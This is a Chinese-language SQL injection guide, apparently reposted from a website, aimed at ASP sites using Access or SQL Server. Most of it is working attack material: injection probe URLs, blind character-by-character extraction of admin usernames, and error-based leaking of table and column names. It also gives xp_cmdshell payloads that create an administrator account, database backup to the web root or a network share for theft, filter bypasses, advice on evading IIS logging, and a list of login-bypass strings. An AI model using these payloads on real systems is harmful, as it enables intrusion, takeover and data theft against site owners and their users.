SQL注入经验总结

通过连接数据库的引擎判断数据库类型:

Access:Microsoft JET Database Engine

SQLServer:Microsoft OLE DB Provider for SQL Server

 

如果程序中加了cint(参数)之类语句的话,SQL注入是不会成功的,但服务器同样会报错。

有些程序员只过滤了单引号,所以只用单引号测试,是测不到注入点的,可以用下列语句测试:

http://www.mytest.com/showdetail.asp?id=49 ;and 1=1
http://www.mytest.com/showdetail.asp?id=49 ;and 1=2

 

ASP一般搭配Access和SQLSever。

SQLServer有一些系统变量,如果服务器IIS提示没关闭并且SQLServer返回错误提示的话,那可以直接从出错信息获取,方法如下:

http://www.mytest.com/showdetail.asp?id=49 ;and user>0

user是SQLServer的一个内置变量,它的值时当前连接的用户名,类型为nvarchar。拿一个nvarchar的值跟int的数0比较,系统会先试图将nvarchar的值转成int型,当然,转的过程中肯定会出错。

如果是普通用户,SQLServer的出错提示是:将nvarchar值“bt”转换数据类型为int的列时发生语法错误;如果是sa用户,提示是:将“dbo”转换成int的列发生错误。

 

在服务器IIS不允许返回错误提示时判断数据库类型:

Access和SQLServer都有自己的系统表,比如存放数据库中所有对象的表,Access是在系统表[msysobjects]中,但在Web环境下读该表会提示”“没有权限“,SQLServer是在表[sysobjects]中,在Web环境下可正常读取。

在确认可以注入的情况下,使用下面的语句:

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0

如果数据库是SQLServer,那么第一个网址的页面与原页面http://www.mytest.com/showdetail.asp?id=49是大致相同的;而第二个网址,由于找不到表msysobjects,会提示出错,就算程序有容错处理,页面也与原页面完全不同。

如果数据库是Access,那么情况就有所不同,第一个网址的页面与原页面完全不同,第二个网址则视乎数据库设置是否允许读改系统表,一般来说是不允许的,所以与原网址也是完全不同。

大多数情况下,用第一个URL就可以得知系统所用的数据库类型(第一个返回跟原页差不多则是SQLServer,反之则Access),第二个URL只作为开启IIS错误提示时的验证。

 

根据注入参数类型,重构SQL语句的原貌,按参数类型主要分为下面三种:

ID=49,这类注入的参数是数字型,SQL语句原貌大致如下:

select * from 表名 where 字段=49

注入的参数为ID=49 and [查询条件],即生成语句

select * from 表名 where 字段=49 and [查询语句]

class=连续剧,这类注入的参数是字符型:

select * from 表名 where 字段=‘连续剧‘

注入的参数为Class=连续剧’ and [查询条件] and ‘‘=’,即生成语句

select * from 表名where 字段=’连续剧’ and [查询条件] and ‘‘=’’

搜索时没顾虑参数的,如keyword=关键字:

select * from 表名 where 字段 like ‘%关键字%‘

注入的参数为keyword=‘ and [查询条件] and ‘%25‘=‘,即生成语句:

select * from 表名 where 字段 like ‘%‘ and [查询条件] and ‘%‘=‘%‘

 

手工猜表名、字段名、字段值:

接着将查询条件替换成SQL语句,猜解表名,如:

ID=49 and (select Count(*) from Admin)>=0

如果页面就与ID=49的相同,说明条件成立,即表Admin存在,反之不存在。

猜出表名再猜解字段名,如:

ID=49 and (select Count(字段名) from Admin)>=0

猜出字段名再猜解字段值,一种最常用的方法—Ascii逐字解码法,虽然很慢,但是肯定可行:

假设:已知Admin中存在username字段

首先,取第一条记录,测试username的长度

ID=49 ;and (select top 1 len(username) from Admin)>0

如果长度大于0,则条件成立。更换最后的数直到猜出第一条记录的username字段值得长度

得到字段值的长度后,逐位猜解字段值

ID=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

第一位字符的ASCII码是否大于0,范围在1-128之间。

 

SQL注入常用函数:

Access:asc(字符)    SQLServer:unicode(字符)    作用:返回某字符的ASCII码

Access:chr(数字)    SQLServer:nchar(数字)    作用:与asc相反,根据ASCII码返回字符

Access:mid(字符串,N,L)    SQLServer:substring(字符串,N,L)    作用:返回字符串从N个字符起长度为L的自字符串,即N到N+L之间的字符串

Access:abc(数字)    SQLServer:abc(数字)    作用:返回数字的绝对值(在猜解汉字的时候会用到)

Access:A between B and C    SQLServer:A between B and C    作用:判断A是否界于B与C之间

 

中文处理方法:

Access:中文的ASCII码可能会出现负数,取出该负数后用abs()取绝对值,汉字字符不变。

SQLServer:中文的ASCII为正数,但由于是UNICODE的双位编码,不能用函数ascii()取得ASCII码,必须用函数unicode()返回unicode值,再用nchar函数取得对应的中文字符。

 

利用系统表注入SQLServer数据库:

http://Site/url.asp?id=1;exec master..xp_cmdshell "net user name passwd /add"--

http://Site/url.asp?id=1;exec master..xp_cmdshell "net localgroup administrators name /add"--

这种方法只适用于用sa连接数据库的情况,否则,是没有权限调用xp_cmdshell的。

http://Site/url.asp?id=1; and db_name()>0    返回连接的数据库名

http://Site/url.asp?id=1; backup database 数据库名 to disk=‘c:inetpubwwwroot1.db‘;--

拿到数据库名,加上某些IIS出错暴露出的绝对路径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完整整的下载回来。在不知道绝对路径的时候,还可以备份到网络地址的方法(如202.96.xx.xx/share/1.db),但成功率不高。

http://Site/url.asp?id=1; and (select top 1 name from sysobjects where xtype=‘U‘ and status>0)>0

sysobjects是SQLServer的系统表,存储着所有的表名、视图、约束及其它对象,xtype=‘U‘ and status>0,表示用户建立的表名,上面的语句将第一个表名取出,与0比较大小,让报错信息把表名暴露出来,第二、三...个表名也可以通过这种方法暴出来。

http://Site/url.asp?id=1; and (select top 1 col_name(object_id(‘表名‘),1) from sysobjects)>0

拿到表名后,用object_id(‘表名‘)获取表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...就可以逐个获取所猜解表里面的字段名

 

绕过程序限制继续注入:

利用相关函数,达到绕过程序限制的目的。

过滤‘(单引号):

如where xtype=‘U‘,字符U对应的ASCII码是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=‘用户‘,可以用where name=nchar(29992)+nchar(25143)代替。

 

经验小结:

1.过滤没区分大小写:用混大小写测试,如 seLecT

2.由网站上的登录表单猜测字段名,一般为了方便起见,字段名都与表单的输入框取相同的名字。

3.地址栏的+号传入程序后解释为空格,%2B解释为+号,%25解释为%号

4.用Get方法注入时,IIS会记录所有提交的字符串,对Post方法做则不记录,所以能用Post的网址尽量不用Get。

5.猜解Access时只能用ASCII逐字解码法,SQLServer也可以用这种方法,只需要注意两者之间的区别即可,但是如果能用SQLServer的报错信息把值暴露出来,那效率和准确率会有极大的提高。

 

万能密码-绕过验证:

1: "or "a"="a

2: ‘)or(‘a‘=‘a

3:or 1=1--

4:‘or 1=1--

5:a‘or‘ 1=1--

6: "or 1=1--

7:‘or‘a‘=‘a

8: "or"="a‘=‘a

9:‘or‘‘=‘

10:‘or‘=‘or‘

11: 1 or ‘1‘=‘1‘=1

12: 1 or ‘1‘=‘1‘ or 1=1

13: ‘OR 1=1%00

14: "or 1=1%00

郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。